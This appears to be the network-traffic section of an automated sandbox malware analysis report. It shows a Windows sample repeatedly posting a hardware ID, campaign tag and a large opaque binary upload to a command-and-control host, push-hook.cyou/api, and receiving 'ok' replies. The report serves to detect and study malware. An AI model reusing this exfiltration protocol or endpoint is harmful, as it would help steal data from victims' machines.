2024-11-24 12:28:34 UTC	8723	OUT	Data Raw: 2d 2d 4a 58 47 58 38 53 30 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 37 44 32 33 31 39 39 37 30 31 33 43 45 41 43 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 4a 58 47 58 38 53 30 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4a 58 47 58 38 53 30 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 73 74 0d 0a 2d 2d 4a 58 47 58 38 53 30 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 Data Ascii: --JXGX8S01Content-Disposition: form-data; name="hwid"97D231997013CEACD7CBBD6DF28D3732--JXGX8S01Content-Disposition: form-data; name="pid"2--JXGX8S01Content-Disposition: form-data; name="lid"FATE99--test--JXGX8S01Content-Dispositi
2024-11-24 12:28:35 UTC	1014	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 12:28:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3f21uam170ssfmduc791c57bsf; expires=Thu, 20-Mar-2025 06:15:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wNj%2BpU7E2GSb5%2FwMqCibuxrTgAHrXwEum5mYX%2B1ZGquff0PdwOhqxvY1eMSgcb8HZQSFvtQjaSNVXZ2PDbT6Guj7Bk5KCbpIzUyIf2%2BOLRgvlfizEVLgZqp9uURAY4Hp2g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e79664b9e54efa7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1865&sent=8&recv=14&lost=0&retrans=0&sent_bytes=2836&recv_bytes=9650&delivery_rate=1545791&cwnd=79&unsent_bytes=0&cid=1120aa36ee48caeb&ts=899&x=0"
2024-11-24 12:28:35 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-24 12:28:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49734	172.67.161.207	443	4348	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 12:28:36 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=MJD875SE1CZE6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20406 Host: push-hook.cyou
2024-11-24 12:28:36 UTC	15331	OUT	Data Raw: 2d 2d 4d 4a 44 38 37 35 53 45 31 43 5a 45 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 37 44 32 33 31 39 39 37 30 31 33 43 45 41 43 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 4d 4a 44 38 37 35 53 45 31 43 5a 45 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 4d 4a 44 38 37 35 53 45 31 43 5a 45 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 73 74 0d 0a 2d 2d 4d 4a 44 38 37 35 53 45 31 43 5a 45 Data Ascii: --MJD875SE1CZE6Content-Disposition: form-data; name="hwid"97D231997013CEACD7CBBD6DF28D3732--MJD875SE1CZE6Content-Disposition: form-data; name="pid"3--MJD875SE1CZE6Content-Disposition: form-data; name="lid"FATE99--test--MJD875SE1CZE
2024-11-24 12:28:36 UTC	5075	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: lrQMn 64F6(X&7~`aO
2024-11-24 12:28:37 UTC	1015	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 12:28:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8o9hhq3g0mteroivnjkj3kkel2; expires=Thu, 20-Mar-2025 06:15:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LBjflVMgdigrcLFZ8g8JNIAMDqxrZXG9AALJ8%2FNsOwLulBqJkNCaHjDXOZi2qe%2BM8nYIm0wEMcI4%2BMbuPdTee6dldCZCxOvfvLG5dmyYFhXohzdnaDEdlmqkICL5uNO1AQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e79665a881ede94-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1745&sent=17&recv=25&lost=0&retrans=0&sent_bytes=2836&recv_bytes=21361&delivery_rate=1650650&cwnd=217&unsent_bytes=0&cid=b20659a5b956ca93&ts=883&x=0"
2024-11-24 12:28:37 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-24 12:28:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49735	172.67.161.207	443	4348	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 12:28:39 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=714XHRNHY06QKG User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1216 Host: push-hook.cyou
2024-11-24 12:28:39 UTC	1216	OUT	Data Raw: 2d 2d 37 31 34 58 48 52 4e 48 59 30 36 51 4b 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 37 44 32 33 31 39 39 37 30 31 33 43 45 41 43 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 37 31 34 58 48 52 4e 48 59 30 36 51 4b 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 37 31 34 58 48 52 4e 48 59 30 36 51 4b 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 73 74 0d 0a 2d 2d 37 31 34 58 48 52 4e 48 59 Data Ascii: --714XHRNHY06QKGContent-Disposition: form-data; name="hwid"97D231997013CEACD7CBBD6DF28D3732--714XHRNHY06QKGContent-Disposition: form-data; name="pid"1--714XHRNHY06QKGContent-Disposition: form-data; name="lid"FATE99--test--714XHRNHY
2024-11-24 12:28:40 UTC	1022	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 12:28:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ghd1tjra1gqu5kursp81kbpatg; expires=Thu, 20-Mar-2025 06:15:18 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Q%2BzWUlXw4X%2BY1itmUGzFtJPMvkvWyd7t%2Fw6R5%2Bn5tOtT%2FX8HFaRm03jMdPN%2B7iCIlRvMzMscj1duaQ9GfN0XpkeaEs3bCrhgcFoXBaS3WOKrHfmvu%2Fk%2FO8Toc8uJcr5iQQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e79666c6b34437b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1619&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2836&recv_bytes=2127&delivery_rate=1761158&cwnd=248&unsent_bytes=0&cid=ae4817e4cf60e546&ts=718&x=0"
2024-11-24 12:28:40 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-24 12:28:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49736	172.67.161.207	443	4348	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 12:28:42 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=CH7IYAUXOQ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 586119 Host: push-hook.cyou
2024-11-24 12:28:42 UTC	15331	OUT	Data Raw: 2d 2d 43 48 37 49 59 41 55 58 4f 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 37 44 32 33 31 39 39 37 30 31 33 43 45 41 43 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 43 48 37 49 59 41 55 58 4f 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 43 48 37 49 59 41 55 58 4f 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 73 74 0d 0a 2d 2d 43 48 37 49 59 41 55 58 4f 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 Data Ascii: --CH7IYAUXOQContent-Disposition: form-data; name="hwid"97D231997013CEACD7CBBD6DF28D3732--CH7IYAUXOQContent-Disposition: form-data; name="pid"1--CH7IYAUXOQContent-Disposition: form-data; name="lid"FATE99--test--CH7IYAUXOQContent-D
2024-11-24 12:28:42 UTC	15331	OUT	Data Raw: a2 76 db 4c 01 a2 5c 15 3c 20 a7 dd 31 33 a5 dc 61 48 57 ae 39 7e 20 6f 27 9f 93 b0 53 69 df 78 e0 dc 99 c5 3c 72 4b 60 2c 2c 01 49 50 88 59 d6 47 47 8c 5e d2 e2 e8 b7 7f 20 d9 5f 55 c3 cd d1 cc 90 56 15 dc 94 f8 12 6d 66 39 e8 5a 7a e6 18 1f e4 ab d1 60 32 b3 c7 c7 85 9a e5 c3 b4 1e a0 61 a2 03 bf 54 ca f7 f9 27 f8 bd 0d 4a e4 d1 c4 c2 e5 59 fa 53 55 18 b8 17 9b c3 67 0f d7 c8 14 88 79 0a b6 da 44 07 27 53 f8 32 5f 2e 7d 50 ef d5 b3 f6 e0 58 00 53 e3 98 c8 55 c4 2f 5d 2b 35 97 92 72 66 cd 5d 1c 09 c1 dc e7 d8 df 73 21 d5 0b c5 d1 bf 60 e4 8c ba 1b 3f 23 8a ee c5 2b 0c 87 c9 62 61 04 b9 bd 3c 04 08 d5 0e bd 0b f4 c9 36 41 15 ee dd 1c c7 a5 67 aa fe 50 56 25 52 61 c5 74 93 3b 6d d0 f8 e4 87 d8 61 ce d5 23 82 88 13 0c d8 7a 2d 34 cc 3c 14 ab ca 09 d4 ca 09 Data Ascii: vL\< 13aHW9~ o'Six<rK`,,IPYGG^ _UVmf9Zz`2aT'JYSUgyD'S2_.}PXSU/]+5rf]s!`?#+ba<6AgPV%Rat;ma#z-4<
2024-11-24 12:28:42 UTC	15331	OUT	Data Raw: 31 60 52 1b 90 6c c3 e6 f9 e3 ce 86 fa f0 90 46 42 ad 50 4d 21 32 d0 7d 88 e6 aa 92 45 d3 e9 40 b7 43 ba bc 6b fd 9b 2e b6 30 82 10 3e 39 61 38 ba 72 67 40 dc 59 f8 b4 8b d1 0c d4 fa 80 4c aa de 99 5d 76 e4 4a 2d 4a 2c d0 f1 d9 fb 29 1e 76 ac dd 71 20 3a d9 97 5f 7d ab b4 3d 62 e7 36 44 ee e0 29 65 34 cd f8 67 e1 68 6d ea 54 38 10 46 5a 7d e5 61 e6 cb 29 93 f4 b0 4a c3 d9 b6 ab f6 3e 00 b1 59 c9 30 01 dc f3 f1 dc bb e5 89 7b 9e 85 e0 b5 13 a0 3b f5 0e 57 d7 07 f1 10 95 15 97 89 0c d4 d9 05 e1 52 25 74 fe b3 c4 5f 0d c5 07 78 5b 03 44 04 12 20 72 7d f4 d2 f1 e3 02 ff 7d 22 5f 32 35 3f 35 55 78 14 95 c7 a3 03 d7 76 2e 6a e5 72 ce 3f 79 c1 db a4 df 1a cb 8e f6 61 cb 92 dd 34 25 19 01 e7 67 01 eb 76 7c 18 cc ab ef 3b e5 3f a4 d9 b8 dd 9e 1b c9 1c 16 27 8d 97 Data Ascii: 1`RlFBPM!2}E@Ck.0>9a8rg@YL]vJ-J,)vq :_}=b6D)e4ghmT8FZ}a)J>Y0{;WR%t_x[D r}}"_25?5Uxv.jr?ya4%gv\|;?'
2024-11-24 12:28:42 UTC	15331	OUT	Data Raw: 9c ca 6f 00 30 00 4d 10 01 8f cf da 09 f6 49 03 5b d6 cf 77 17 e7 6f 02 0f f9 96 f7 80 a4 26 5c cd be cb 01 f0 dd 14 51 cf d6 38 08 90 f4 83 68 42 41 a0 4a 8f de c9 cb 59 5a 17 41 c4 35 cb 47 f3 00 df 44 fe 7e 6e dd 1f 93 3e 43 8a 88 23 c5 11 79 00 37 22 09 9e 58 00 ac 26 5b 44 18 73 12 72 04 01 55 38 d5 2d c2 d6 91 98 cc bf 17 40 67 0f 6f e4 ef e5 d8 a8 00 ca 22 95 ce eb 83 23 07 cf 4e f0 aa 17 60 07 2a 36 3f 0d 8c e0 f4 d8 2a b1 d1 50 c8 7b 00 29 df 26 41 01 37 2b e4 2c 18 2a 1b df c0 42 f1 c6 7a ba 4c 14 2d c0 07 0b 91 a7 e4 75 0b b6 d8 1d 75 72 38 10 ed af 5d 90 84 f6 0c 58 b8 3c 98 fb a8 be 64 a5 a5 f6 a8 d4 94 c6 18 7a c8 f6 ac 3b 7c fa 1a fb d5 b7 89 ce 3d 1e 00 8b 97 19 21 4a 20 2a cb a1 7e 67 a9 ee 27 01 8a 8a 5c d5 f2 ca fd a9 03 cc 55 db 43 23 Data Ascii: o0MI[wo&\Q8hBAJYZA5GD~n>C#y7"X&[DsrU8-@go"#N`6?P{)&A7+,BzL-uur8]X<dz;\|=!J ~g'\UC#
2024-11-24 12:28:42 UTC	15331	OUT	Data Raw: 08 fc 3c 0f c4 20 4e 1d 60 4a bd d2 81 ea 25 96 da 51 30 b4 47 6a 11 01 ba 8f 63 6d 11 3c 66 d2 e8 65 2e b0 05 e7 e6 90 de f0 40 2e cd 7d 12 08 d4 51 68 0c 87 d7 9d bd 06 0b e2 38 d0 73 5a e9 e9 c0 57 0c 8b 99 d7 82 ea 17 1e 4b df a7 21 0d 5f 3c d1 1c 13 93 0d a5 38 19 11 70 eb ec bc 6b 27 52 f8 1b 09 66 35 a5 5a 28 6d 3f a3 b7 47 30 b6 ec a6 9b f9 1f 40 a9 79 f3 53 88 b9 00 97 20 98 e7 a3 9c 9d 86 1c 59 85 f1 7d c4 ab 9e 88 3e 99 62 89 7b 6a ed 65 39 e4 2e 15 bd 37 f7 b5 cc 26 0f 55 05 16 03 59 d4 a1 0f 6a cf dc 73 e8 0c 5e ab 33 ab 17 62 09 9f 24 ba a9 43 85 51 d0 8d 33 59 bb a5 a2 cf 73 8d f1 14 bd 13 91 fd 7f 44 15 61 65 df c6 35 51 b6 bf 77 ca 17 e2 82 78 58 5e 2f b5 b8 b6 a7 75 4a bf 04 11 0c 6d f4 96 7c c8 9a ec ce dd 66 2f 1c 22 42 e4 d7 65 8a 19 Data Ascii: < N`J%Q0Gjcm<fe.@.}Qh8sZWK!_<8pk'Rf5Z(m?G0@yS Y}>b{je9.7&UYjs^3b$CQ3YsDae5QwxX^/uJm\|f/"Be
2024-11-24 12:28:42 UTC	15331	OUT	Data Raw: 73 7a 98 34 3f f5 ed 85 90 fd b4 03 05 50 6e 0f d3 df 4f 7c 6c 4d 17 04 1d 15 40 1e 06 98 26 9f f6 a3 41 cd f3 32 50 33 0a 68 da b2 80 d9 2d c3 35 51 07 8c cf 4a 1c 69 1d 1a fb f9 20 4c 0a 48 e9 14 61 6e a4 05 2f 94 4d 3c 73 4d fb 6b a1 62 b1 7a e2 28 da 9d 9b e0 54 f2 b5 6f 02 9d ef dc 2c 7a b4 e0 ae d3 39 cb 6c fa fe c7 d9 1b 41 67 ed f7 13 bc fa ce e5 35 fc fc 5c 39 73 1a c1 5f a7 70 40 5d 5d 46 a2 e6 47 78 18 1c a2 bc 66 05 ef 8c ca 55 c3 fd cf 85 ac 35 ea 5e 92 3e 70 6e d3 e0 fb a0 ae c6 08 10 41 d8 71 14 e5 d2 ae 91 96 c3 28 9e 46 b0 f4 ac 64 25 d1 d1 95 29 20 0d 2e 41 d5 87 ce 66 04 22 f2 f3 4d 31 36 79 14 ca 50 09 aa fd c4 ce 42 28 65 30 87 44 dc 3c ec 95 99 8b 9f 05 45 aa d4 64 78 07 8c 6b de 44 71 1d d6 7e 99 9c 87 f8 59 58 e4 15 aa ea e4 9a e5 Data Ascii: sz4?PnO\|lM@&A2P3h-5QJi LHan/M<sMkbz(To,z9lAg5\9s_p@]]FGxfU5^>pnAq(Fd%) .Af"M16yPB(e0D<EdxkDq~YX
2024-11-24 12:28:42 UTC	15331	OUT	Data Raw: 70 5b 89 56 22 90 1c c0 73 83 51 0b a2 f6 de 2e ce a6 7e 33 c5 c6 04 c5 80 d0 43 39 7d 31 be 2d 5b 3d 1b 76 2a 7d bb 71 19 bc 84 44 1c f6 b9 4d 99 1a 15 4f a1 8a f2 96 d8 87 ef 3a 4c df b3 ab 39 a0 f8 0b 41 fc 81 bd 27 a0 75 0d c4 d6 0e bf f2 74 74 01 92 d1 e4 8b 56 5c 91 88 00 2a 88 39 d3 54 78 3d 17 78 88 81 35 ac 97 38 a0 2a 36 69 0f 40 19 01 58 92 f7 2d 38 f5 28 9a c8 0f 6c 25 88 f3 95 e8 aa 0b bd 74 0b 3b fe 5e 18 f5 16 2d 3d 5d c8 06 06 5c 96 69 af 2e 87 39 ab 66 50 6b f4 40 4a 1d 7e d7 f2 fa 5e 39 11 56 bc 31 55 11 d8 88 ae 17 03 8b 1e 97 73 04 3e f0 31 a2 1d 46 e0 5b 17 15 ef df 1d a6 8c 3d ff 39 23 9e 47 a3 dc 7d 8a 75 63 30 c9 c2 dc 21 4c 0f 6e a1 54 17 19 6e 6f 47 33 82 17 38 ed 8c 15 85 cd 9c 3f 82 c5 f4 36 6a 11 91 14 2c 4d fe ed 79 22 a8 3d Data Ascii: p[V"sQ.~3C9}1-[=v}qDMO:L9A'uttV\9Tx=x58*6i@X-8(l%t;^-=]\i.9fPk@J~^9V1Us>1F[=9#G}uc0!LnTnoG38?6j,My"=
2024-11-24 12:28:42 UTC	15331	OUT	Data Raw: c6 d3 ab 86 f0 a3 f8 db 1b cd b1 2b eb 98 d1 3a bc 2b 79 de 37 8e c5 5e 5c b6 f8 34 33 3c eb 40 b9 06 96 02 e9 ae 2c 0d dd ff 87 a7 f3 0a 6b 6a 8b d6 f6 5c 29 24 f4 d0 3b 04 b0 a1 34 45 7a 0b 45 60 5b 51 2c 28 2d 88 0a 0a 48 90 26 35 8b 00 82 4a 73 6f 15 0b 4d 51 41 45 8a 14 e9 84 22 b0 15 29 4a af 41 d0 20 bd 87 12 92 3f ec f3 9f 73 13 7d b8 20 3c 6b cd 39 c6 37 de 6f ce 31 fa 6a 96 67 9c 96 47 1d d8 1b 9f a7 b5 59 45 8d f3 28 86 ec 93 af 4e 91 27 33 9e ed ce b8 de ee c8 3c ae c7 ee ea 9f 0b 6a 9e af 74 67 a5 d6 5b 94 a1 8c 57 52 af d6 f4 76 ff d6 2a 0b ad 64 99 2d b6 bb 54 31 6e 2d d3 fd 48 b8 82 76 a4 09 06 b9 6d 4a 7f de 1e 98 dc 11 7e 67 79 b1 3d f8 f1 96 e9 e1 bd bf 92 49 c2 08 aa 64 a7 dc 9d 85 e3 67 e1 88 ab 4a d8 ae 33 42 3a bc 48 ac c0 d0 64 9e Data Ascii: +:+y7^\43<@,kj\)$;4EzE`[Q,(-H&5JsoMQAE")JA ?s} <k97o1jgGYE(N'3<jtg[WRv*d-T1n-HvmJ~gy=IdgJ3B:Hd
2024-11-24 12:28:42 UTC	15331	OUT	Data Raw: 0e 81 20 72 80 25 87 48 6f cb 68 94 44 c3 6e 72 d0 4d 34 38 20 30 59 82 80 41 04 0f 1b 0b 62 91 50 c9 09 7b 45 fc 7d c2 c0 11 d8 cd ad 00 82 f7 6d d3 9e 59 45 84 cf 5c b8 86 f8 3e 6b 0d e2 94 e1 cc 00 20 0c 2e 71 10 82 4f 19 48 6e 2f 45 c0 7a c2 33 fc 15 ed 89 14 1c d5 24 ce 0f 01 41 2a e6 0d 58 41 8b 57 29 c9 a7 d2 e0 08 93 4c 3d 94 b7 6c 1f 82 a0 26 d0 a9 a7 f9 42 41 8e 12 cf 35 5e 93 b6 6d bd 97 63 0b 1f 02 f6 86 13 2f 26 59 9c b8 64 6e ca c1 b8 7f b7 f1 9c 2d e4 2f e3 03 03 b7 04 63 76 fa 25 1e 8c 6b 43 ef 62 2e cf e3 fa 52 6e 20 d7 da 4c 7f ec ca 7d ad 08 87 82 f0 b8 cd 5b e2 f8 31 05 22 3e 2d d2 9f 09 a1 7e 4a 99 13 ac 82 bb 7f 61 fa 30 9a 1e 10 7e ce 55 e1 67 5d 74 0c cf 0e d7 6a e3 ef 32 66 d9 ec 75 21 31 a0 a9 83 e2 b9 02 d4 43 b8 1c 3f 76 d7 76 Data Ascii: r%HohDnrM48 0YAbP{E}mYE\>k .qOHn/Ez3$A*XAW)L=l&BA5^mc/&Ydn-/cv%kCb.Rn L}[1">-~Ja0~Ug]tj2fu!1C?vv
2024-11-24 12:28:42 UTC	15331	OUT	Data Raw: 0c ea 67 89 9f 35 f1 eb ef 94 6d bf 9a 62 b9 b5 b9 72 05 08 6a db f8 2e 0b cb 27 af e5 cb ee 14 25 d9 0a d2 2b 7a 4d da dd ab ec 6c 77 ae da 9e ad d4 18 cb d0 d8 d0 23 05 ab 80 15 df 31 dc 9f 73 05 17 8e 1c ee ae 33 29 db 26 7d 33 46 45 d9 8f 87 cf 23 f8 b4 d8 5d 1b ee bd 33 c6 14 33 07 96 eb 98 82 3b 4b 68 53 68 ee e0 88 e7 d8 0b 93 63 17 32 c9 f9 65 2b 7d 33 c7 6c 9b b1 f9 15 48 ed fd 5e 32 b0 18 fe a7 7e 1b 57 a3 41 e4 e5 54 15 49 59 b2 c1 60 be 18 b8 b2 88 01 19 31 64 55 2e 45 ce 3b a7 75 55 55 8c b5 16 c8 1c 00 eb ed a7 1c 93 af e6 93 75 be 8e 30 53 83 98 bf 16 34 82 d8 c1 fb d6 7b e8 45 2e c6 7e bf 73 da 90 43 f2 9b 0b 8f 3e f7 0f fc da eb ee a9 a0 df 29 57 fb ec 43 a8 bf d5 da c8 bd 7f 8a 56 0f 9c fa 77 84 3c 73 36 fb c7 47 fe 24 b2 da e0 7a a3 54 Data Ascii: g5mbrj.'%+zMlw#1s3)&}3FE#]33;KhShc2e+}3lH^2~WATIY`1dU.E;uUUu0S4{E.~sC>)WCVw<s6G$zT
2024-11-24 12:28:47 UTC	1021	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 12:28:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qhjnrcd0fvnlpsms5kslilp1c8; expires=Thu, 20-Mar-2025 06:15:23 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=P6i2GbNQCvzBSOZdPdvN7k9d12WHM11unQ9uCdybdhBX76%2Fvf5LxjXgG56b2s2DH8TJSunjgDpChcgiWLj5qg20YYPUpEX%2Bgk7x6ZCQ%2BmMg5QwLsTaXZ%2F5zzbEIcO0AzLg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e79667daa904337-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1588&sent=354&recv=609&lost=0&retrans=0&sent_bytes=2836&recv_bytes=588700&delivery_rate=1802469&cwnd=215&unsent_bytes=0&cid=db8391ef44298990&ts=4741&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49741	172.67.161.207	443	4348	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 12:28:48 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 81 Host: push-hook.cyou
2024-11-24 12:28:48 UTC	81	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 46 41 54 45 39 39 2d 2d 74 65 73 74 26 6a 3d 26 68 77 69 64 3d 39 37 44 32 33 31 39 39 37 30 31 33 43 45 41 43 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 Data Ascii: act=get_message&ver=4.0&lid=FATE99--test&j=&hwid=97D231997013CEACD7CBBD6DF28D3732
